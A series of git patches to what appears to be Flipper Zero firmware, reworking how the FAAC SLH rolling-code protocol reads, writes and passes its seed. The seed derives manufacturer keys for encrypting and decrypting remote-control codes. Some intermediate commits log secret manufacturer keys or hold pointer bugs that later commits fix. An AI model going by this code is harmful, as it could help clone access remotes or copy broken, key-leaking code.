Subject: [PATCH 133/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 726891500..7f2b68ad6 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -239,18 +239,19 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 4)) { - FURI_LOG_E(TAG, "Missing SEED"); - break; - } subghz_protocol_faac_slh_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); - + //optional parameter parameter flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)instance->generic.seed, 4)) { + FURI_LOG_E(TAG, "Missing SEED"); + break; + } + subghz_protocol_encoder_faac_slh_get_upload(instance); if(!flipper_format_rewind(flipper_format)) { @@ -443,9 +444,12 @@ bool subghz_protocol_decoder_faac_slh_serialize( FuriHalSubGhzPreset preset) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; + subghz_protocol_faac_slh_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); + bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - if(res && !flipper_format_write_uint32(flipper_format, "SEED", &instance->generic.seed, 4)) { - FURI_LOG_E(TAG, "Unable to add SEED"); + if(res && !flipper_format_write_string_cstr(flipper_format, "Manufacture", instance->manufacture_name)) { + FURI_LOG_E(TAG, "Unable to add manufacture name"); res = false; } return res; @@ -464,7 +468,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Rewind error"); break; } - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 1)) { + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)instance->generic.seed, 4)) { FURI_LOG_E(TAG, "Missing SEED"); break; } From 0e9334d8b006cc1b5258b53048848ab2bc69cb8b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 19:09:24 +0300 Subject: [PATCH 134/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 7f2b68ad6..19498bf97 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -247,7 +247,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)instance->generic.seed, 4)) { + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 4)) { FURI_LOG_E(TAG, "Missing SEED"); break; } @@ -468,7 +468,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Rewind error"); break; } - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)instance->generic.seed, 4)) { + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 4)) { FURI_LOG_E(TAG, "Missing SEED"); break; } From e17c8fc0a79f5b15147fa379f12b2e211db947d1 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 19:56:49 +0300 Subject: [PATCH 135/461] trythis --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- lib/subghz/protocols/faac_slh.c | 13 ------------- 2 files changed, 1 insertion(+), 14 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 288edac4c..6831511a2 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - flipper_format_write_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)&seed, 4); + flipper_format_write_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)seed, 1); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 19498bf97..8a090c480 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -247,11 +247,6 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 4)) { - FURI_LOG_E(TAG, "Missing SEED"); - break; - } - subghz_protocol_encoder_faac_slh_get_upload(instance); if(!flipper_format_rewind(flipper_format)) { @@ -464,14 +459,6 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } - if(!flipper_format_rewind(flipper_format)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 4)) { - FURI_LOG_E(TAG, "Missing SEED"); - break; - } res = true; } while(false); From b87a0f87fa55ff95b02296b11d13564f32286563 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 20:19:40 +0300 Subject: [PATCH 136/461] Update subghz_scene_set_seed.c --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 6831511a2..061801d6d 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - flipper_format_write_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)seed, 1); + flipper_format_update_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)seed, 1); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { From 9e0499c4613e2a2df2f9b3da3dde6bf2a24d4923 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 21:35:02 +0300 Subject: [PATCH 137/461] fixes --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- lib/subghz/protocols/faac_slh.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 061801d6d..649c94a20 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - flipper_format_update_uint32(subghz->txrx->fff_data, "SEED", (uint32_t*)seed, 1); + flipper_format_write_uint32(subghz->txrx->fff_data, "Seed", (uint32_t*)seed, 1); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 8a090c480..e64994ec4 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -443,8 +443,8 @@ bool subghz_protocol_decoder_faac_slh_serialize( &instance->generic, instance->keystore, &instance->manufacture_name); bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - if(res && !flipper_format_write_string_cstr(flipper_format, "Manufacture", instance->manufacture_name)) { - FURI_LOG_E(TAG, "Unable to add manufacture name"); + if(res && !flipper_format_write_uint32(flipper_format, "Seed", &instance->generic.seed, 1)) { + FURI_LOG_E(TAG, "Unable to add Seed"); res = false; } return res; From 9b48e7a6bb071cba75d708e8bd6b5b559a51e865 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 22:18:15 +0300 Subject: [PATCH 138/461] Update subghz_scene_set_seed.c seed in file, its working! --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 649c94a20..4ae6e445a 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - flipper_format_write_uint32(subghz->txrx->fff_data, "Seed", (uint32_t*)seed, 1); + flipper_format_write_uint32(subghz->txrx->fff_data, "Seed", (uint32_t*)&seed, 1); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { From 8b984b363d700dd541fd114cd79ae740afbe4245 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 26 Apr 2022 22:57:31 +0300 Subject: [PATCH 139/461] correct seed values --- .../subghz/scenes/subghz_scene_set_seed.c | 6 ++++- lib/subghz/protocols/faac_slh.c | 26 ++++++++++++++++++- 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 4ae6e445a..fee2f2307 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,7 +53,11 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - flipper_format_write_uint32(subghz->txrx->fff_data, "Seed", (uint32_t*)&seed, 1); + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; + } + flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); generated_protocol = true; } else { diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index e64994ec4..96dcc32ec 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -261,6 +261,14 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Unable to add Key"); break; } + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { + FURI_LOG_E(TAG, "Missing Seed"); + break; + } instance->encoder.is_runing = true; @@ -443,7 +451,11 @@ bool subghz_protocol_decoder_faac_slh_serialize( &instance->generic, instance->keystore, &instance->manufacture_name); bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - if(res && !flipper_format_write_uint32(flipper_format, "Seed", &instance->generic.seed, 1)) { + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(res && !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Unable to add Seed"); res = false; } @@ -459,6 +471,18 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { + FURI_LOG_E(TAG, "Missing Seed"); + break; + } res = true; } while(false); From 77a1a58d677ff66a7d38373d2b696bfa8364f2db Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 27 Apr 2022 17:01:07 +0300 Subject: [PATCH 140/461] seed transfer to decoder --- applications/subghz/scenes/subghz_scene_set_seed.c | 8 ++++---- lib/subghz/protocols/faac_slh.c | 9 +++++++++ lib/subghz/protocols/faac_slh.h | 7 +++++++ 3 files changed, 20 insertions(+), 4 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index fee2f2307..5d9516e73 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,12 +53,15 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); + + subghz_protocol_faac_slh_set_seed_to_decoder(subghz->txrx->transmitter->protocol_instance, seed); + uint8_t seed_data[sizeof(uint32_t)] = {0}; for(size_t i = 0; i < sizeof(uint32_t); i++) { seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; } flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); - FURI_LOG_I(TAG, "SEED (set_seed_on_event): %8X\n", seed); + FURI_LOG_I(TAG, "SEED: %8X\n", seed); generated_protocol = true; } else { generated_protocol = false; @@ -85,9 +88,6 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; - uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | - subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; - FURI_LOG_I(TAG, "SEED (set_seed_on_exit): %8X\n", seed); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 96dcc32ec..4937b8eb4 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -393,6 +393,15 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d } } +void subghz_protocol_faac_slh_set_seed_to_decoder(void* context, uint32_t seed) { + furi_assert(context); + SubGhzProtocolDecoderFaacSLH* instance = context; + instance->generic.seed = seed; + subghz_protocol_faac_slh_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); + FURI_LOG_I(TAG, "SEED (to_decoder): %8X\n", instance->generic.seed); +} + /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 288892191..0cb2790ef 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -48,6 +48,13 @@ bool subghz_protocol_faac_slh_create_data( uint32_t frequency, FuriHalSubGhzPreset preset); +/** + * Transfering seed value from Encoder to Decoder + * @param context - Pointer to a SubGhzProtocolDecoderFaacSLH instance + * @param seed Seed value, 32 bit + */ +void subghz_protocol_faac_slh_set_seed_to_decoder(void* context, uint32_t seed); + /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance From 7218f6023ba21e8185b907fa29a8f2fd864fbfeb Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 27 Apr 2022 17:39:08 +0300 Subject: [PATCH 141/461] Update subghz_scene_set_seed.c --- .../subghz/scenes/subghz_scene_set_seed.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 5d9516e73..95972bf7f 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -32,6 +32,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { bool generated_protocol = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { + uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; FURI_LOG_I(TAG, "fix: %8X", fix_part); @@ -40,6 +41,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; FURI_LOG_I(TAG, "seed: %8X", seed); + subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); if(subghz->txrx->transmitter) { @@ -53,20 +55,28 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - + + subghz->txrx->decoder_result = + subghz_protocol_decoder_faac_slh_alloc(subghz->txrx->environment); + if(subghz->txrx->decoder_result) { subghz_protocol_faac_slh_set_seed_to_decoder(subghz->txrx->transmitter->protocol_instance, seed); - + } + uint8_t seed_data[sizeof(uint32_t)] = {0}; for(size_t i = 0; i < sizeof(uint32_t); i++) { seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; } + flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); FURI_LOG_I(TAG, "SEED: %8X\n", seed); + generated_protocol = true; } else { generated_protocol = false; } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { string_set( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); @@ -74,6 +84,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { } consumed = true; } + if(generated_protocol) { subghz_file_name_clear(subghz); DOLPHIN_DEED(DolphinDeedSubGhzAddManually); From 371ec30bd086590c4f3fc89110ce9e21ff202adb Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 27 Apr 2022 17:47:46 +0300 Subject: [PATCH 142/461] Update subghz_scene_set_seed.c delete incorrect function call --- applications/subghz/scenes/subghz_scene_set_seed.c | 6 ------ 1 file changed, 6 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 95972bf7f..3bc791bb5 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -55,12 +55,6 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); - - subghz->txrx->decoder_result = - subghz_protocol_decoder_faac_slh_alloc(subghz->txrx->environment); - if(subghz->txrx->decoder_result) { - subghz_protocol_faac_slh_set_seed_to_decoder(subghz->txrx->transmitter->protocol_instance, seed); - } uint8_t seed_data[sizeof(uint32_t)] = {0}; for(size_t i = 0; i < sizeof(uint32_t); i++) { From a7d679b6238484c0821e6c805cafe153c940c30e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 27 Apr 2022 23:33:35 +0300 Subject: [PATCH 143/461] rollback --- lib/subghz/protocols/faac_slh.c | 10 ---------- lib/subghz/protocols/faac_slh.h | 7 ------- 2 files changed, 17 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 4937b8eb4..46d7d7c68 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -393,15 +393,6 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d } } -void subghz_protocol_faac_slh_set_seed_to_decoder(void* context, uint32_t seed) { - furi_assert(context); - SubGhzProtocolDecoderFaacSLH* instance = context; - instance->generic.seed = seed; - subghz_protocol_faac_slh_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name); - FURI_LOG_I(TAG, "SEED (to_decoder): %8X\n", instance->generic.seed); -} - /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance @@ -410,7 +401,6 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name) { - FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 0cb2790ef..288892191 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -48,13 +48,6 @@ bool subghz_protocol_faac_slh_create_data( uint32_t frequency, FuriHalSubGhzPreset preset); -/** - * Transfering seed value from Encoder to Decoder - * @param context - Pointer to a SubGhzProtocolDecoderFaacSLH instance - * @param seed Seed value, 32 bit - */ -void subghz_protocol_faac_slh_set_seed_to_decoder(void* context, uint32_t seed); - /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance From 5b47c38ab0d1c90fc882c672aab8ff5ce5f0d337 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 28 Apr 2022 12:25:49 +0300 Subject: [PATCH 144/461] Update FreeRTOS-Kernel --- lib/FreeRTOS-Kernel | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/FreeRTOS-Kernel b/lib/FreeRTOS-Kernel index ec7c40335..cf6850583 160000 --- a/lib/FreeRTOS-Kernel +++ b/lib/FreeRTOS-Kernel @@ -1 +1 @@ -Subproject commit ec7c40335db4cc8fd5af4346ee036c9006403153 +Subproject commit cf6850583c7c7b69726531dd56fa0264159f1750 From e3dd0dc03b8f06a8f8e841b3c58af7cdede384f4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 28 Apr 2022 12:35:47 +0300 Subject: [PATCH 145/461] Update faac_slh.c Global seed value --- lib/subghz/protocols/faac_slh.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 46d7d7c68..a583df85d 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -78,6 +78,8 @@ const SubGhzProtocol subghz_protocol_faac_slh = { .encoder = &subghz_protocol_faac_slh_encoder, }; +static uint32_t seed_global; + /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance @@ -176,6 +178,7 @@ bool subghz_protocol_faac_slh_create_data( instance->generic.btn = btn; instance->generic.cnt = cnt; instance->generic.seed = seed; + seed_global = instance->generic.seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance); @@ -396,11 +399,14 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance + * @param keystore Pointer to a SubGhzKeystore* instance + * @param manifacture_name Manufacturer name */ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name) { + instance->seed = seed_global; FURI_LOG_I(TAG, "SEED (decrypt init): %8X\n", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; From 7ee400182c5445466b4fa0c6e6ccd767a191ced6 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 28 Apr 2022 12:58:24 +0300 Subject: [PATCH 146/461] Update faac_slh.c free seed global value on decoder alloc --- lib/subghz/protocols/faac_slh.c | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index a583df85d..6c732f54d 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -309,6 +309,7 @@ void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) { instance->base.protocol = &subghz_protocol_faac_slh; instance->generic.protocol_name = instance->base.protocol->name; instance->keystore = subghz_environment_get_keystore(environment); + seed_global = 0x0; return instance; } From 7038a88655ee7ab2fffec70e21c243b23cc7805d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 28 Apr 2022 13:29:32 +0300 Subject: [PATCH 147/461] Remove extra furi logs --- lib/subghz/protocols/faac_slh.c | 22 +--------------------- lib/subghz/protocols/keeloq.c | 11 ----------- lib/subghz/protocols/nice_flor_s.c | 24 ++---------------------- lib/subghz/protocols/star_line.c | 7 ------- lib/subghz/subghz_keystore.c | 4 ---- 5 files changed, 3 insertions(+), 65 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 6c732f54d..355d74096 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -114,7 +114,6 @@ void subghz_protocol_encoder_faac_slh_free(void* context) { static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) { instance->generic.cnt++; - FURI_LOG_I(TAG, "SEED (gen_data): %8X\n", instance->generic.seed); uint32_t fix = instance->generic.serial << 4 | instance->generic.btn; uint32_t hop = 0; uint32_t decrypt = 0; @@ -140,17 +139,8 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: //FAAC Learning - man = - subghz_protocol_keeloq_common_faac_learning(instance->generic.seed, manufacture_code->key); - uint32_t hi = manufacture_code->key >> 32; - uint32_t lo = manufacture_code->key & 0xFFFFFFFF; - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); - FURI_LOG_I(TAG, "SEED (encrypt): %8X\n", instance->generic.seed); - uint32_t mlhi = man >> 32; - uint32_t mllo = man & 0xFFFFFFFF; - FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); + man = subghz_protocol_keeloq_common_faac_learning(instance->generic.seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); - FURI_LOG_I(TAG, "hop: %8X\n", hop); break; } break; @@ -182,7 +172,6 @@ bool subghz_protocol_faac_slh_create_data( instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance); - FURI_LOG_I(TAG, "SEED (create_data): %8X\n", instance->generic.seed); if(res) { res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); } @@ -418,24 +407,15 @@ static void subghz_protocol_faac_slh_check_remote_controller for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { - uint32_t hi = manufacture_code->key >> 32; - uint32_t lo = manufacture_code->key & 0xFFFFFFFF; switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: // FAAC Learning man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); - FURI_LOG_I(TAG, "SEED (decrypt): %8X\n", instance->seed); - uint32_t mlhi = man >> 32; - uint32_t mllo = man & 0xFFFFFFFF; - FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); - FURI_LOG_I(TAG, "hop: %8X\n", code_hop); *manufacture_name = string_get_cstr(manufacture_code->name); break; } } - instance->cnt = decrypt & 0xFFFF; } diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index c562937bc..403d23ef6 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -154,7 +154,6 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %08lX", hop); break; } break; @@ -479,13 +478,10 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { - uint32_t hi = manufacture_code->key >> 32; - uint32_t lo = manufacture_code->key & 0xFFFFFFFF; switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); 